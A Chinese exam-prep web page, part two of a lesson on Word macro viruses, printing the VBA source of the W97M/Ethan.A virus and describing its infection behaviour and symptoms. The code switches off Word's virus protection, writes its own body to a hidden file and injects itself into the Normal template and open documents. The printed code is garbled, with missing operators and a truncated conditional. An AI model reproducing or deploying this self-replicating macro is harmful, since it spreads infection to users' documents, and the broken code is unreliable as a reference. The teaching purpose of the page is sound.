职称计算机手机看课
您的位置:职业培训教育网  > 职称计算机 > 复习指导 > 复习资料 > 正文

Word 宏病毒防治——宏病毒(二)

2008-03-28 16:31  来源: 纠错 打印 收藏   

  1.2 宏病毒示例

  为了更好地理解宏病毒, 我们仔细分析一下宏病毒 W97M/Ethan.A.

  下面是该病毒的代码。

  Private Sub Document_Close()

  On Error Resume Next

  s = ActiveDocument.Saved

  Application.EnableCancelKey = Not -1

  With Options: .ConfirmConversions = 0: .VirusProtection

  = 0: .SaveNormalPrompt = 0: End With

  Randomize

  If Dir(“c:\ethan.___”, 6) = “” Then

  Open “c:\ethan.___” For Output As #1

  For i = 1 To MacroContainer.VBProject.VBComponents.Item

  (1)。CodeModule.CountOfLines

  a = MacroContainer.VBProject.VBComponents.Item

  (1)。CodeModule.Lines(i, 1)

  Print #1, a

  Next i

  Close #1

  SetAttr “c:\ethan.___”, 6

  End If

  If Dir(“c:\class.sys”) “” Then Kill “c:\class.sys”

  If NormalTemplate.VBProject.VBComponents.Item

  ( 1 ) .CodeModule.Lines ( 1, 1 ) “Private Sub

  Document_Close()“ Then

  Set t = NormalTemplate.VBProject.VBComponents.Item(1)

  ElseIf ActiveDocument.VBProject.VBComponents.Item

  ( 1 ) .CodeModule.Lines ( 1, 1 ) “Private Sub

  Document_Close()“ Then

  Set t = ActiveDocument.VBProject.VBComponents.Item(1)

  Else

  t = “”

  End If

  If t “” Then

  Open “c:\ethan.___” For Input As #1

  If LOF(1) = 0 Then GoTo q

  i = 1

  Do While Not EOF(1)

  Line Input #1, a

  t.CodeModule.InsertLines i, a

  i = i + 1

  Loop

  q:

  Close #1

  If Rnd “Document” Then

  ActiveDocument.SaveAs

  FileName:=ActiveDocument.FullName

  End If

  If ActiveDocument.Saved s Then ActiveDocument.Saved

  = s

  End Sub

  W97M/Ethan.A 是一种寄生型宏病毒,由一个宏组成,能够感染 Word 系统中的文档和模板。在感染过程中,W97M/Ethan.A 使用一种特殊的算法,从自己的源文件向宿主文件传送病毒代码,在源文件中存放的是以VBA 代码形式存放的病毒程序。一旦感染成功,W97M/Ethan.A 会删除自身的有关文件,隐藏踪迹,并将感染所有访问过的Word 文件。

  在被感染的Word 文件中,大概有三成几率的文件属性会被病毒更改,其标题会被改为“Ethan Frome”,而作者会被改为“EW/LN/CB”。如果发现上述特征,则说明此文档已被W97M/Ethan.A 宏病毒感染。

  对已感染的文档进行操作,可能会出现以下问题:

  (1)在存储文档时,无法以Word 文档格式存储,而只能存储为 Word 模板格式。

  (2)在打开文档时,Word 系统会向用户询问文档的开启密码,否则无法访问该文件。

  (3)在清除了宏病毒之后,仍然看不到Word 系统中的某些命令或选项,它们可能已被宏病毒删除。

 

[1][2]
热点关注:Word 宏病毒 防治 宏病毒

2016年职称计算机考试网上辅导
课程名称
老师/课时数/免费试听
价格
购买课程
中文Windows WIN7操作系统
100元
中文Windows XP操作系统
100元
Word 2003中文字处理
100元
Excel 2003中文电子表格
100元
PowerPoint 2003中文演示文稿
100元
Word 2007中文字处理
100元
Excel 2007中文电子表格
100元
PowerPoint 2007中文演示文稿
100元
金山演示2005
100元
Internet应用(XP)
100元
Internet应用(Win7)
100元
Photoshop 6.0图像处理
100元
Flash MX 2004动画制作
100元
Access 2000数据库管理系统
100元
WPS Office办公组合中文字处理
100元
金山文字2005
100元
金山表格2005
100元
FrontPage 2000网页制作
100元
Dreamweaver MX 2004网页制作
100元
AutoCAD2004制图软件
100元
Authorware 7.0多媒体制作
100元
Visual Foxpro 5.0数据库管理系统
100元
Photoshop CS4图像处理
100元
Project 2000项目管理
100元
用友财务(U8)软件
100元
用友财务(T3)会计信息化软件
100元
Frontpage 2003网页制作
100元
相关资讯:
网站导航:
职业培训教育网                    更多>>
 经 济 师 指南 动态 查分 试题 复习  职 称 英 语 指南 动态 查分 试题 复习
 职称计算机 指南 动态 查分 试题 复习  招 标 师 指南 动态 查分 试题 复习
 公 务 员 指南 动态 查分 试题 复习  人力资源管理 指南 动态 查分 试题 复习
 教师资格 指南 动态 查分 试题 复习  农村信用社 指南 动态 查分 试题 复习
 公共营养师 指南 动态 查分 试题 复习  心理咨询师 指南 动态 查分 试题 复习
一级消防师 指南 动态 查分 试题 复习 二级消防师 指南 动态 查分 试题 复习

·考试简介 ·报名条件 ·考试科目 ·免考条件
·考试时间 ·考试证书 ·成绩查询 ·指定教材
·合格标准 ·证书期限 ·职称英语

  • 视频课程
按教材章节体系全面讲解,
帮助考生掌握知识点、夯实基础。
视频课程

  

真实环境模拟;
紧扣最新大纲;
免费试用,终身升级;
题库及时更新;
版权声明
  1、凡本网注明 “来源:职业培训教育网”的所有作品,版权均属职业培训教育网所有,未经本网授权不得转载、链接、转贴或以其他方式使用;已经本网授权的,应在授权范围内使用,且必须注明“来源:职业培训教育网”。违反上述声明者,本网将追究其法律责任。
  2、本网部分资料为网上搜集转载,均尽力标明作者和出处。对于本网刊载作品涉及版权等问题的,请作者与本网站联系,本网站核实确认后会尽快予以处理。
  本网转载之作品,并不意味着认同该作品的观点或真实性。如其他媒体、网站或个人转载使用,请与著作权人联系,并自负法律责任。
  3、本网站欢迎积极投稿
  4、联系方式:
编辑信箱:chinatat@chinatat.com
电话:010-82333888